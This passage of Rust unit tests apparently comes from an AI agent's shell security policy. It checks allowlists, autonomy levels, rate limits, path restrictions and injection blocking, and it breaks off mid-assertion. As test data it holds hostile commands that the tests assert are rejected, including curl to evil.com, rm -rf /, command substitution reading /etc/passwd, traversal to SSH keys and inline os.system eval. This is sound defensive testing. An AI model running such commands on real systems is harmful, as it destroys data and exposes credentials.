2813 assert_eq!(policy.max_cost_per_day_cents, 1234);
2814 assert_eq!(policy.shell_timeout_secs, 300);
2815 }
2816
2817 #[test]
2818 fn from_profiles_without_runtime_profile_uses_defaults() {
2819 use std::path::Path;
2820
2821 let risk = crate::schema::RiskProfileConfig {
2822 level: AutonomyLevel::Supervised,
2823 ..crate::schema::RiskProfileConfig::default()
2824 };
2825
2826 let policy = SecurityPolicy::from_profiles(&risk, None, Path::new("/ws"));
2827
2828 assert_eq!(policy.max_actions_per_hour, 20);
2829 assert_eq!(policy.max_cost_per_day_cents, 500);
2830 assert_eq!(policy.shell_timeout_secs, 60);
2831 }
2832
2833 fn unix_forbidden_path_policy() -> SecurityPolicy {
2834 SecurityPolicy {
2835 workspace_dir: PathBuf::from("/workspace"),
2836 forbidden_paths: vec!["/dev".into(), "/etc".into()],
2837 ..SecurityPolicy::default()
2838 }
2839 }
2840
2841 fn readonly_policy() -> SecurityPolicy {
2842 SecurityPolicy {
2843 autonomy: AutonomyLevel::ReadOnly,
2844 ..SecurityPolicy::default()
2845 }
2846 }
2847
2848 fn full_policy() -> SecurityPolicy {
2849 SecurityPolicy {
2850 autonomy: AutonomyLevel::Full,
2851 ..SecurityPolicy::default()
2852 }
2853 }
2854
2855 #[test]
2858 fn autonomy_default_is_supervised() {
2859 assert_eq!(AutonomyLevel::default(), AutonomyLevel::Supervised);
2860 }
2861
2862 #[test]
2863 fn autonomy_serde_roundtrip() {
2864 let json = serde_json::to_string(&AutonomyLevel::Full).unwrap();
2865 assert_eq!(json, "\"full\"");
2866 let parsed: AutonomyLevel = serde_json::from_str("\"readonly\"").unwrap();
2867 assert_eq!(parsed, AutonomyLevel::ReadOnly);
2868 let parsed2: AutonomyLevel = serde_json::from_str("\"supervised\"").unwrap();
2869 assert_eq!(parsed2, AutonomyLevel::Supervised);
2870 }
2871
2872 #[test]
2873 fn can_act_readonly_false() {
2874 assert!(!readonly_policy().can_act());
2875 }
2876
2877 #[test]
2878 fn can_act_supervised_true() {
2879 assert!(default_policy().can_act());
2880 }
2881
2882 #[test]
2883 fn can_act_full_true() {
2884 assert!(full_policy().can_act());
2885 }
2886
2887 #[test]
2888 fn enforce_tool_operation_read_allowed_in_readonly_mode() {
2889 let p = readonly_policy();
2890 assert!(
2891 p.enforce_tool_operation(ToolOperation::Read, "memory_recall")
2892 .is_ok()
2893 );
2894 }
2895
2896 #[test]
2897 fn enforce_tool_operation_act_blocked_in_readonly_mode() {
2898 let p = readonly_policy();
2899 let err = p
2900 .enforce_tool_operation(ToolOperation::Act, "memory_store")
2901 .unwrap_err();
2902 assert!(err.contains("read-only mode"));
2903 }
2904
2905 #[test]
2906 fn enforce_tool_operation_act_uses_rate_budget() {
2907 let p = SecurityPolicy {
2908 max_actions_per_hour: 0,
2909 ..default_policy()
2910 };
2911 let err = p
2912 .enforce_tool_operation(ToolOperation::Act, "memory_store")
2913 .unwrap_err();
2914 assert!(err.contains("Rate limit exceeded"));
2915 }
2916
2917 #[test]
2920 fn allowed_commands_basic() {
2921 let p = default_policy();
2922 assert!(p.is_command_allowed("ls"));
2923 assert!(p.is_command_allowed("git status"));
2924 assert!(p.is_command_allowed("cargo build --release"));
2925 assert!(p.is_command_allowed("cat file.txt"));
2926 assert!(p.is_command_allowed("grep -r pattern ."));
2927 assert!(p.is_command_allowed("date"));
2928 }
2929
2930 #[test]
2931 fn blocked_commands_basic() {
2932 let p = default_policy();
2933 assert!(!p.is_command_allowed("rm -rf /"));
2934 assert!(!p.is_command_allowed("sudo apt install"));
2935 assert!(!p.is_command_allowed("curl http://evil.com"));
2936 assert!(!p.is_command_allowed("wget http://evil.com"));
2937 assert!(!p.is_command_allowed("ruby exploit.rb"));
2938 assert!(!p.is_command_allowed("perl malicious.pl"));
2939 }
2940
2941 #[test]
2942 fn readonly_blocks_all_commands() {
2943 let p = readonly_policy();
2944 assert!(!p.is_command_allowed("ls"));
2945 assert!(!p.is_command_allowed("cat file.txt"));
2946 assert!(!p.is_command_allowed("echo hello"));
2947 }
2948
2949 #[test]
2950 fn full_autonomy_still_uses_allowlist() {
2951 let p = full_policy();
2952 assert!(p.is_command_allowed("ls"));
2953 assert!(!p.is_command_allowed("rm -rf /"));
2954 }
2955
2956 #[test]
2957 fn command_with_absolute_path_extracts_basename() {
2958 let p = default_policy();
2959 assert!(p.is_command_allowed("/usr/bin/git status"));
2960 assert!(p.is_command_allowed("/bin/ls -la"));
2961 }
2962
2963 #[test]
2964 fn allowlist_supports_explicit_executable_paths() {
2965 let p = SecurityPolicy {
2966 allowed_commands: vec!["/usr/bin/antigravity".into()],
2967 ..SecurityPolicy::default()
2968 };
2969
2970 assert!(p.is_command_allowed("/usr/bin/antigravity"));
2971 assert!(!p.is_command_allowed("antigravity"));
2972 }
2973
2974 #[test]
2975 fn allowlist_supports_wildcard_entry() {
2976 let p = SecurityPolicy {
2977 allowed_commands: vec!["*".into()],
2978 ..SecurityPolicy::default()
2979 };
2980
2981 assert!(p.is_command_allowed("python3 --version"));
2982 assert!(p.is_command_allowed("/usr/bin/antigravity"));
2983
2984 let blocked = p.validate_command_execution("rm -rf /tmp/test", true);
2986 assert!(blocked.is_err());
2987 assert!(blocked.unwrap_err().contains("high-risk"));
2988 }
2989
2990 #[test]
2991 fn empty_command_blocked() {
2992 let p = default_policy();
2993 assert!(!p.is_command_allowed(""));
2994 assert!(!p.is_command_allowed(" "));
2995 }
2996
2997 #[test]
2998 fn command_with_pipes_validates_all_segments() {
2999 let p = default_policy();
3000 assert!(p.is_command_allowed("ls | grep foo"));
3002 assert!(p.is_command_allowed("cat file.txt | wc -l"));
3003 assert!(!p.is_command_allowed("ls | curl http://evil.com"));
3005 assert!(!p.is_command_allowed("echo hello | ruby -"));
3006 }
3007
3008 #[test]
3009 fn custom_allowlist() {
3010 let p = SecurityPolicy {
3011 allowed_commands: vec!["docker".into(), "kubectl".into()],
3012 ..SecurityPolicy::default()
3013 };
3014 assert!(p.is_command_allowed("docker ps"));
3015 assert!(p.is_command_allowed("kubectl get pods"));
3016 assert!(!p.is_command_allowed("ls"));
3017 assert!(!p.is_command_allowed("git status"));
3018 }
3019
3020 #[test]
3021 fn empty_allowlist_blocks_everything() {
3022 let p = SecurityPolicy {
3023 allowed_commands: vec![],
3024 ..SecurityPolicy::default()
3025 };
3026 assert!(!p.is_command_allowed("ls"));
3027 assert!(!p.is_command_allowed("echo hello"));
3028 }
3029
3030 #[test]
3031 fn command_risk_low_for_read_commands() {
3032 let p = default_policy();
3033 assert_eq!(p.command_risk_level("git status"), CommandRiskLevel::Low);
3034 assert_eq!(p.command_risk_level("ls -la"), CommandRiskLevel::Low);
3035 }
3036
3037 #[test]
3038 fn command_risk_medium_for_mutating_commands() {
3039 let p = SecurityPolicy {
3040 allowed_commands: vec!["git".into(), "touch".into()],
3041 ..SecurityPolicy::default()
3042 };
3043 assert_eq!(
3044 p.command_risk_level("git reset --hard HEAD~1"),
3045 CommandRiskLevel::Medium
3046 );
3047 assert_eq!(
3048 p.command_risk_level("touch file.txt"),
3049 CommandRiskLevel::Medium
3050 );
3051 }
3052
3053 #[test]
3054 fn command_risk_high_for_dangerous_commands() {
3055 let p = SecurityPolicy {
3056 allowed_commands: vec!["rm".into()],
3057 ..SecurityPolicy::default()
3058 };
3059 assert_eq!(
3060 p.command_risk_level("rm -rf /tmp/test"),
3061 CommandRiskLevel::High
3062 );
3063 }
3064
3065 #[test]
3066 fn validate_command_requires_approval_for_medium_risk() {
3067 let p = SecurityPolicy {
3068 autonomy: AutonomyLevel::Supervised,
3069 require_approval_for_medium_risk: true,
3070 allowed_commands: vec!["touch".into()],
3071 ..SecurityPolicy::default()
3072 };
3073
3074 let denied = p.validate_command_execution("touch test.txt", false);
3075 assert!(denied.is_err());
3076 assert!(denied.unwrap_err().contains("requires explicit approval"),);
3077
3078 let allowed = p.validate_command_execution("touch test.txt", true);
3079 assert_eq!(allowed.unwrap(), CommandRiskLevel::Medium);
3080 }
3081
3082 #[test]
3083 fn validate_command_blocks_high_risk_via_wildcard() {
3084 let p = SecurityPolicy {
3088 autonomy: AutonomyLevel::Supervised,
3089 allowed_commands: vec!["*".into()],
3090 ..SecurityPolicy::default()
3091 };
3092
3093 let result = p.validate_command_execution("rm -rf /tmp/test", true);
3094 assert!(result.is_err());
3095 assert!(result.unwrap_err().contains("high-risk"));
3096 }
3097
3098 #[test]
3099 fn validate_command_allows_explicitly_listed_high_risk() {
3100 let p = SecurityPolicy {
3104 autonomy: AutonomyLevel::Full,
3105 allowed_commands: vec!["curl".into()],
3106 block_high_risk_commands: true,
3107 ..SecurityPolicy::default()
3108 };
3109
3110 let result = p.validate_command_execution("curl https://api.example.com/data", true);
3111 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3112 }
3113
3114 #[test]
3115 fn validate_command_allows_wget_when_explicitly_listed() {
3116 let p = SecurityPolicy {
3117 autonomy: AutonomyLevel::Full,
3118 allowed_commands: vec!["wget".into()],
3119 block_high_risk_commands: true,
3120 ..SecurityPolicy::default()
3121 };
3122
3123 let result =
3124 p.validate_command_execution("wget https://releases.example.com/v1.tar.gz", true);
3125 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3126 }
3127
3128 #[test]
3129 fn validate_command_blocks_non_listed_high_risk_when_another_is_allowed() {
3130 let p = SecurityPolicy {
3132 autonomy: AutonomyLevel::Full,
3133 allowed_commands: vec!["curl".into()],
3134 block_high_risk_commands: true,
3135 ..SecurityPolicy::default()
3136 };
3137
3138 let result = p.validate_command_execution("wget https://evil.com", true);
3139 assert!(result.is_err());
3140 assert!(result.unwrap_err().contains("not allowed"));
3141 }
3142
3143 #[test]
3144 fn validate_command_explicit_rm_bypasses_high_risk_block() {
3145 let p = SecurityPolicy {
3147 autonomy: AutonomyLevel::Full,
3148 allowed_commands: vec!["rm".into()],
3149 block_high_risk_commands: true,
3150 ..SecurityPolicy::default()
3151 };
3152
3153 let result = p.validate_command_execution("rm -rf /tmp/test", true);
3154 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3155 }
3156
3157 #[test]
3158 fn validate_command_high_risk_still_needs_approval_in_supervised() {
3159 let p = SecurityPolicy {
3163 autonomy: AutonomyLevel::Supervised,
3164 allowed_commands: vec!["curl".into()],
3165 block_high_risk_commands: true,
3166 ..SecurityPolicy::default()
3167 };
3168
3169 let denied = p.validate_command_execution("curl https://api.example.com", false);
3170 assert!(denied.is_err());
3171 assert!(denied.unwrap_err().contains("requires explicit approval"));
3172
3173 let allowed = p.validate_command_execution("curl https://api.example.com", true);
3174 assert_eq!(allowed.unwrap(), CommandRiskLevel::High);
3175 }
3176
3177 #[test]
3178 fn validate_command_pipe_needs_all_segments_explicitly_allowed() {
3179 let p = SecurityPolicy {
3182 autonomy: AutonomyLevel::Full,
3183 allowed_commands: vec!["curl".into(), "grep".into()],
3184 block_high_risk_commands: true,
3185 ..SecurityPolicy::default()
3186 };
3187
3188 let result = p.validate_command_execution("curl https://api.example.com | grep data", true);
3189 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3190 }
3191
3192 #[test]
3193 fn validate_command_full_mode_skips_medium_risk_approval_gate() {
3194 let p = SecurityPolicy {
3195 autonomy: AutonomyLevel::Full,
3196 require_approval_for_medium_risk: true,
3197 allowed_commands: vec!["touch".into()],
3198 ..SecurityPolicy::default()
3199 };
3200
3201 let result = p.validate_command_execution("touch test.txt", false);
3202 assert_eq!(result.unwrap(), CommandRiskLevel::Medium);
3203 }
3204
3205 #[test]
3206 fn validate_command_rejects_background_chain_bypass() {
3207 let p = default_policy();
3208 let result = p.validate_command_execution("ls & python3 -c 'print(1)'", false);
3209 assert!(result.is_err());
3210 assert!(result.unwrap_err().contains("not allowed"));
3211 }
3212
3213 #[test]
3216 fn relative_paths_allowed() {
3217 let p = default_policy();
3218 assert!(p.is_path_allowed("file.txt"));
3219 assert!(p.is_path_allowed("src/main.rs"));
3220 assert!(p.is_path_allowed("deep/nested/dir/file.txt"));
3221 }
3222
3223 #[test]
3224 fn path_traversal_blocked() {
3225 let p = default_policy();
3226 assert!(!p.is_path_allowed("../etc/passwd"));
3227 assert!(!p.is_path_allowed("../../root/.ssh/id_rsa"));
3228 assert!(!p.is_path_allowed("foo/../../../etc/shadow"));
3229 assert!(!p.is_path_allowed(".."));
3230 }
3231
3232 #[test]
3233 fn absolute_paths_blocked_when_workspace_only() {
3234 let p = default_policy();
3235 assert!(!p.is_path_allowed(&tp_sys_sub("etc/passwd")));
3236 assert!(!p.is_path_allowed(&tp_sys_sub("root/.ssh/id_rsa")));
3237 assert!(!p.is_path_allowed(tp_outside2()));
3238 }
3239
3240 #[test]
3241 fn absolute_path_inside_workspace_allowed_when_workspace_only() {
3242 let ws = tp_ws();
3243 let p = SecurityPolicy {
3244 workspace_dir: ws.clone(),
3245 workspace_only: true,
3246 ..SecurityPolicy::default()
3247 };
3248 assert!(p.is_path_allowed(&format!("{}/images/example.png", ws.display())));
3249 assert!(p.is_path_allowed(&format!("{}/file.txt", ws.display())));
3250 assert!(!p.is_path_allowed(tp_outside1()));
3251 assert!(!p.is_path_allowed(tp_outside2()));
3252 }
3253
3254 #[test]
3255 fn absolute_path_in_allowed_root_permitted_when_workspace_only() {
3256 let ws = tp_ws();
3257 let shared = tp_ws_shared();
3258 let p = SecurityPolicy {
3259 workspace_dir: ws.clone(),
3260 workspace_only: true,
3261 allowed_roots: vec![shared.clone()],
3262 ..SecurityPolicy::default()
3263 };
3264 assert!(p.is_path_allowed(&format!("{}/data.txt", shared.display())));
3265 assert!(p.is_path_allowed(&format!("{}/file.txt", ws.display())));
3266 assert!(!p.is_path_allowed(tp_outside1()));
3267 }
3268
3269 #[test]
3270 fn absolute_paths_allowed_when_not_workspace_only() {
3271 let p = SecurityPolicy {
3272 workspace_only: false,
3273 forbidden_paths: vec![],
3274 ..SecurityPolicy::default()
3275 };
3276 assert!(p.is_path_allowed("/tmp/file.txt"));
3277 }
3278
3279 #[test]
3280 fn forbidden_paths_blocked() {
3281 let p = SecurityPolicy {
3282 workspace_only: false,
3283 ..SecurityPolicy::default()
3284 };
3285 assert!(!p.is_path_allowed(&tp_sys_sub("etc/passwd")));
3286 assert!(!p.is_path_allowed(&tp_sys_sub("root/.bashrc")));
3287 assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
3288 assert!(!p.is_path_allowed("~/.gnupg/pubring.kbx"));
3289 }
3290
3291 #[test]
3292 fn empty_path_allowed() {
3293 let p = default_policy();
3294 assert!(p.is_path_allowed(""));
3295 }
3296
3297 #[test]
3298 fn dotfile_in_workspace_allowed() {
3299 let p = default_policy();
3300 assert!(p.is_path_allowed(".gitignore"));
3301 assert!(p.is_path_allowed(".env"));
3302 }
3303
3304 #[test]
3307 fn from_config_maps_all_fields() {
3308 let risk = crate::schema::RiskProfileConfig {
3309 level: AutonomyLevel::Full,
3310 workspace_only: false,
3311 allowed_commands: vec!["docker".into()],
3312 forbidden_paths: vec!["/secret".into()],
3313 require_approval_for_medium_risk: false,
3314 block_high_risk_commands: false,
3315 shell_env_passthrough: vec!["DATABASE_URL".into()],
3316 ..crate::schema::RiskProfileConfig::default()
3317 };
3318 let runtime = crate::schema::RuntimeProfileConfig {
3319 max_actions_per_hour: 100,
3320 max_cost_per_day_cents: 1000,
3321 ..crate::schema::RuntimeProfileConfig::default()
3322 };
3323 let workspace = PathBuf::from("/tmp/test-workspace");
3324 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), &workspace);
3325
3326 assert_eq!(policy.autonomy, AutonomyLevel::Full);
3327 assert!(!policy.workspace_only);
3328 assert_eq!(policy.allowed_commands, vec!["docker"]);
3329 assert_eq!(policy.forbidden_paths, vec!["/secret"]);
3330 assert_eq!(policy.max_actions_per_hour, 100);
3331 assert_eq!(policy.max_cost_per_day_cents, 1000);
3332 assert!(!policy.require_approval_for_medium_risk);
3333 assert!(!policy.block_high_risk_commands);
3334 assert_eq!(policy.shell_env_passthrough, vec!["DATABASE_URL"]);
3335 assert_eq!(policy.workspace_dir, PathBuf::from("/tmp/test-workspace"));
3336 }
3337
3338 #[test]
3339 fn from_config_full_autonomy_overrides_workspace_only() {
3340 let autonomy_config = crate::schema::RiskProfileConfig {
3343 level: AutonomyLevel::Full,
3344 ..crate::schema::RiskProfileConfig::default()
3345 };
3346 let workspace = PathBuf::from("/tmp/test-workspace");
3347 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3348
3349 assert_eq!(policy.autonomy, AutonomyLevel::Full);
3350 assert!(
3351 !policy.workspace_only,
3352 "Full autonomy must override workspace_only to false"
3353 );
3354 }
3355
3356 #[test]
3357 fn from_config_supervised_preserves_workspace_only() {
3358 let autonomy_config = crate::schema::RiskProfileConfig {
3359 level: AutonomyLevel::Supervised,
3360 ..crate::schema::RiskProfileConfig::default()
3361 };
3362 let workspace = PathBuf::from("/tmp/test-workspace");
3363 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3364
3365 assert!(
3366 policy.workspace_only,
3367 "Supervised autonomy must preserve workspace_only default (true)"
3368 );
3369 }
3370
3371 #[test]
3372 fn from_config_normalizes_allowed_roots() {
3373 let autonomy_config = crate::schema::RiskProfileConfig {
3374 allowed_roots: vec!["~/Desktop".into(), "shared-data".into()],
3375 ..crate::schema::RiskProfileConfig::default()
3376 };
3377 let workspace = tp_ws();
3378 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3379
3380 let expected_home_root = if let Some(home) = home_dir() {
3381 home.join("Desktop")
3382 } else {
3383 PathBuf::from("~/Desktop")
3384 };
3385
3386 assert_eq!(policy.allowed_roots[0], expected_home_root);
3387 assert_eq!(policy.allowed_roots[1], workspace.join("shared-data"));
3388 }
3389
3390 #[test]
3391 fn resolved_path_violation_message_includes_allowed_roots_guidance() {
3392 let p = default_policy();
3393 let msg = p.resolved_path_violation_message(Path::new("/tmp/outside.txt"));
3394 assert!(msg.contains("escapes workspace"));
3395 assert!(msg.contains("allowed_roots"));
3396 }
3397
3398 #[test]
3401 fn default_policy_has_sane_values() {
3402 let p = SecurityPolicy::default();
3403 assert_eq!(p.autonomy, AutonomyLevel::Supervised);
3404 assert!(p.workspace_only);
3405 assert!(!p.allowed_commands.is_empty());
3406 assert!(!p.forbidden_paths.is_empty());
3407 assert!(p.max_actions_per_hour > 0);
3408 assert!(p.max_cost_per_day_cents > 0);
3409 assert!(p.require_approval_for_medium_risk);
3410 assert!(p.block_high_risk_commands);
3411 assert!(p.shell_env_passthrough.is_empty());
3412 }
3413
3414 #[test]
3417 fn action_tracker_starts_at_zero() {
3418 let tracker = ActionTracker::new();
3419 assert_eq!(tracker.count(), 0);
3420 }
3421
3422 #[test]
3423 fn action_tracker_records_actions() {
3424 let tracker = ActionTracker::new();
3425 assert_eq!(tracker.record(), 1);
3426 assert_eq!(tracker.record(), 2);
3427 assert_eq!(tracker.record(), 3);
3428 assert_eq!(tracker.count(), 3);
3429 }
3430
3431 #[test]
3432 fn record_action_allows_within_limit() {
3433 let p = SecurityPolicy {
3434 max_actions_per_hour: 5,
3435 ..SecurityPolicy::default()
3436 };
3437 for _ in 0..5 {
3438 assert!(p.record_action(), "should allow actions within limit");
3439 }
3440 }
3441
3442 #[test]
3443 fn record_action_blocks_over_limit() {
3444 let p = SecurityPolicy {
3445 max_actions_per_hour: 3,
3446 ..SecurityPolicy::default()
3447 };
3448 assert!(p.record_action()); assert!(p.record_action()); assert!(p.record_action()); assert!(!p.record_action()); }
3453
3454 #[test]
3455 fn is_rate_limited_reflects_count() {
3456 let p = SecurityPolicy {
3457 max_actions_per_hour: 2,
3458 ..SecurityPolicy::default()
3459 };
3460 assert!(!p.is_rate_limited());
3461 p.record_action();
3462 assert!(!p.is_rate_limited());
3463 p.record_action();
3464 assert!(p.is_rate_limited());
3465 }
3466
3467 #[test]
3468 fn action_tracker_clone_is_independent() {
3469 let tracker = ActionTracker::new();
3470 tracker.record();
3471 tracker.record();
3472 let cloned = tracker.clone();
3473 assert_eq!(cloned.count(), 2);
3474 tracker.record();
3475 assert_eq!(tracker.count(), 3);
3476 assert_eq!(cloned.count(), 2); }
3478
3479 #[test]
3482 fn command_injection_semicolon_blocked() {
3483 let p = default_policy();
3484 assert!(!p.is_command_allowed("ls; rm -rf /"));
3487 }
3488
3489 #[test]
3490 fn command_injection_semicolon_no_space() {
3491 let p = default_policy();
3492 assert!(!p.is_command_allowed("ls;rm -rf /"));
3493 }
3494
3495 #[test]
3496 fn quoted_semicolons_do_not_split_sqlite_command() {
3497 let p = SecurityPolicy {
3498 allowed_commands: vec!["sqlite3".into()],
3499 ..SecurityPolicy::default()
3500 };
3501 assert!(p.is_command_allowed(
3502 "sqlite3 /tmp/test.db \"CREATE TABLE t(id INT); INSERT INTO t VALUES(1); SELECT * FROM t;\""
3503 ));
3504 assert_eq!(
3505 p.command_risk_level(
3506 "sqlite3 /tmp/test.db \"CREATE TABLE t(id INT); INSERT INTO t VALUES(1); SELECT * FROM t;\""
3507 ),
3508 CommandRiskLevel::Low
3509 );
3510 }
3511
3512 #[test]
3513 fn unquoted_semicolon_after_quoted_sql_still_splits_commands() {
3514 let p = SecurityPolicy {
3515 allowed_commands: vec!["sqlite3".into()],
3516 ..SecurityPolicy::default()
3517 };
3518 assert!(!p.is_command_allowed("sqlite3 /tmp/test.db \"SELECT 1;\"; rm -rf /"));
3519 }
3520
3521 #[test]
3522 fn command_injection_backtick_blocked() {
3523 let p = default_policy();
3524 assert!(!p.is_command_allowed("echo `whoami`"));
3525 assert!(!p.is_command_allowed("echo `rm -rf /`"));
3526 }
3527
3528 #[test]
3529 fn command_injection_dollar_paren_blocked() {
3530 let p = default_policy();
3531 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
3532 assert!(!p.is_command_allowed("echo $(rm -rf /)"));
3533 }
3534
3535 #[test]
3536 fn command_injection_dollar_paren_literal_inside_single_quotes_allowed() {
3537 let p = default_policy();
3538 assert!(p.is_command_allowed("echo '$(cat /etc/passwd)'"));
3539 }
3540
3541 #[test]
3542 fn command_injection_dollar_brace_literal_inside_single_quotes_allowed() {
3543 let p = default_policy();
3544 assert!(p.is_command_allowed("echo '${HOME}'"));
3545 }
3546
3547 #[test]
3548 fn command_injection_dollar_brace_unquoted_blocked() {
3549 let p = default_policy();
3550 assert!(!p.is_command_allowed("echo ${HOME}"));
3551 }
3552
3553 #[test]
3554 fn command_with_env_var_prefix() {
3555 let p = default_policy();
3556 assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
3558 }
3559
3560 #[test]
3561 fn command_newline_injection_blocked() {
3562 let p = default_policy();
3563 assert!(!p.is_command_allowed("ls\nrm -rf /"));
3565 assert!(p.is_command_allowed("ls\necho hello"));
3567 }
3568
3569 #[test]
3570 fn command_injection_and_chain_blocked() {
3571 let p = default_policy();
3572 assert!(!p.is_command_allowed("ls && rm -rf /"));
3573 assert!(!p.is_command_allowed("echo ok && curl http://evil.com"));
3574 assert!(p.is_command_allowed("ls && echo done"));
3576 }
3577
3578 #[test]
3579 fn command_injection_or_chain_blocked() {
3580 let p = default_policy();
3581 assert!(!p.is_command_allowed("ls || rm -rf /"));
3582 assert!(p.is_command_allowed("ls || echo fallback"));
3584 }
3585
3586 #[test]
3587 fn command_injection_background_chain_blocked() {
3588 let p = default_policy();
3589 assert!(!p.is_command_allowed("ls & rm -rf /"));
3590 assert!(!p.is_command_allowed("ls&rm -rf /"));
3591 assert!(!p.is_command_allowed("echo ok & python3 -c 'print(1)'"));
3592 }
3593
3594 #[test]
3595 fn command_injection_redirect_blocked() {
3596 let p = default_policy();
3597 assert!(!p.is_command_allowed("echo secret > /etc/crontab"));
3598 assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt"));
3599 assert!(!p.is_command_allowed("cat < /etc/passwd"));
3600 assert!(!p.is_command_allowed("echo secret > output.txt"));
3601 assert!(!p.is_command_allowed("echo secret>/dev/nullextra"));
3603 assert!(!p.is_command_allowed("echo secret > /dev/null/../../etc/passwd"));
3604 assert!(!p.is_command_allowed("echo secret>/dev/stderrfoo"));
3605 assert!(!p.is_command_allowed("ls 2>/dev/stderr.log"));
3607 assert!(!p.is_command_allowed("cat>/dev/zero/path"));
3608 assert!(!p.is_command_allowed("echo>/dev/stdout.bak"));
3609 }
3610
3611 #[test]
3614 fn interpreter_inline_eval_blocked() {
3615 let p = default_policy();
3616 assert!(!p.is_command_allowed("python3 -c 'import os; os.system(\"id\")'"));
3618 assert!(!p.is_command_allowed("python -c '__import__(\"os\").system(\"id\")'"));
3619 assert!(!p.is_command_allowed("python3 -m http.server"));
3620 assert!(!p.is_command_allowed("python3 -m pip install evil"));
3621 assert!(!p.is_command_allowed("python3 -m pytest"));
3623 assert!(!p.is_command_allowed("python3 -m mypy src/"));
3624 assert!(!p.is_command_allowed("python3 -m venv .venv"));
3625 assert!(!p.is_command_allowed("python3 -mhttp.server"));
3627 assert!(!p.is_command_allowed("node -e 'require(\"child_process\").execSync(\"id\")'"));
3629 assert!(!p.is_command_allowed("node --eval 'process.exit(1)'"));
3630 assert!(!p.is_command_allowed("node --eval=process.exit(1)"));
3631 assert!(!p.is_command_allowed("node -p '1+1'"));
3632 assert!(!p.is_command_allowed("node --print 'process.env'"));
3633 assert!(!p.is_command_allowed("node --print=process.env"));
3634 assert!(!p.is_command_allowed("python3 -c'import os'"));
3636 assert!(!p.is_command_allowed("node -e'process.exit()'"));
3637 assert!(!p.is_command_allowed("python3 -W ignore -c 'import os'"));
3639 }
3640
3641 #[test]
3642 fn package_manager_install_blocked() {
3643 let p = default_policy();
3644 assert!(!p.is_command_allowed("pip install evil-package"));
3646 assert!(!p.is_command_allowed("pip3 install evil-package"));
3647 assert!(!p.is_command_allowed("pip download evil-package"));
3648 assert!(!p.is_command_allowed("npm exec -- malicious-pkg"));
3650 assert!(!p.is_command_allowed("npm install malicious-pkg"));
3651 assert!(!p.is_command_allowed("npm i malicious-pkg"));
3652 assert!(!p.is_command_allowed("npm add malicious-pkg"));
3653 assert!(!p.is_command_allowed("npm ci"));
3654 assert!(!p.is_command_allowed("cargo install malicious-crate"));
3656 }
3657
3658 #[test]
3659 fn safe_interpreter_usage_allowed() {
3660 let p = default_policy();
3661 assert!(p.is_command_allowed("python3 script.py"));
3663 assert!(p.is_command_allowed("node app.js"));
3664 assert!(p.is_command_allowed("pip list"));
3666 assert!(p.is_command_allowed("pip freeze"));
3667 assert!(p.is_command_allowed("pip show requests"));
3668 assert!(p.is_command_allowed("npm test"));
3669 assert!(p.is_command_allowed("npm list"));
3670 assert!(p.is_command_allowed("cargo build"));
3671 assert!(p.is_command_allowed("cargo test"));
3672 assert!(p.is_command_allowed("cargo run"));
3673 }
3674
3675 #[test]
3676 fn safe_redirect_to_dev_null_allowed() {
3677 let p = default_policy();
3678 assert!(p.is_command_allowed("echo secret > /dev/null"));
3679 assert!(p.is_command_allowed("ls 2> /dev/null"));
3680 assert!(p.is_command_allowed("find . 2>&1 > /dev/null"));
3681 assert!(p.is_command_allowed("cat</dev/null"));
3682 }
3683
3684 #[test]
3685 fn safe_redirect_to_dev_stdout_allowed() {
3686 let p = default_policy();
3687 assert!(p.is_command_allowed("echo hello > /dev/stdout"));
3688 assert!(p.is_command_allowed("cat /dev/zero > /dev/stdout"));
3689 }
3690
3691 #[test]
3692 fn safe_redirect_to_dev_stderr_allowed() {
3693 let p = default_policy();
3694 assert!(p.is_command_allowed("echo error > /dev/stderr"));
3695 assert!(p.is_command_allowed("ls 1> /dev/stderr"));
3696 }
3697
3698 #[test]
3699 fn safe_redirect_to_dev_zero_allowed() {
3700 let p = default_policy();
3701 assert!(p.is_command_allowed("cat /dev/zero > /dev/null"));
3702 }
3703
3704 #[test]
3705 fn safe_file_descriptor_redirect_allowed() {
3706 let p = default_policy();
3707 assert!(p.is_command_allowed("find . 2>&1"));
3708 assert!(p.is_command_allowed("echo hello 1>&2"));
3709 assert!(p.is_command_allowed("ls 2>&1 > /dev/null"));
3710 assert!(p.is_command_allowed("echo error >&2"));
3712 assert!(p.is_command_allowed("cat <&0"));
3713 assert!(p.is_command_allowed("echo >&-"));
3714 assert!(p.is_command_allowed("echo 3>&-"));
3715 }
3716
3717 #[test]
3718 fn heredoc_and_herestring_allowed() {
3719 let p = default_policy();
3720 assert!(p.is_command_allowed("cat << 'EOF'"));
3721 assert!(p.is_command_allowed("cat <<EOF"));
3722 assert!(p.is_command_allowed("cat <<< 'hello'"));
3723 assert!(!p.is_command_allowed("cat < /etc/passwd"));
3725 assert!(!p.is_command_allowed("echo secret > output.txt"));
3727 }
3728
3729 #[test]
3730 fn multiline_heredoc_allowed() {
3731 let p = default_policy();
3732 assert!(p.is_command_allowed("cat <<EOF\nhello world\nEOF"));
3735 assert!(p.is_command_allowed("cat <<'EOF'\nhello world\nEOF"));
3736 assert!(p.is_command_allowed("cat << EOF\nhello world\nEOF"));
3737 assert!(p.is_command_allowed("cat <<\"EOF\"\nhello world\nEOF"));
3739 assert!(p.is_command_allowed("cat <<EOF\nhello\nEOF\necho done"));
3741 assert!(!p.is_command_allowed("cat <<EOF\nhello\nEOF\nrm -rf /"));
3743 assert!(p.is_command_allowed("cat <<EOF\nhello world"));
3745 }
3746
3747 #[test]
3748 fn redirect_helper_unit_tests() {
3749 assert!(!contains_unquoted_input_redirect("cat << 'EOF'"));
3750 assert!(!contains_unquoted_input_redirect("cat <<< 'hello'"));
3751 assert!(contains_unquoted_input_redirect("cat < /etc/passwd"));
3752 assert!(!contains_unquoted_input_redirect("echo 'a<b'"));
3753 assert!(!contains_unquoted_input_redirect("cat</dev/null"));
3754 assert!(contains_unquoted_input_redirect("cat</dev/null.secret"));
3756 assert!(contains_unquoted_input_redirect(
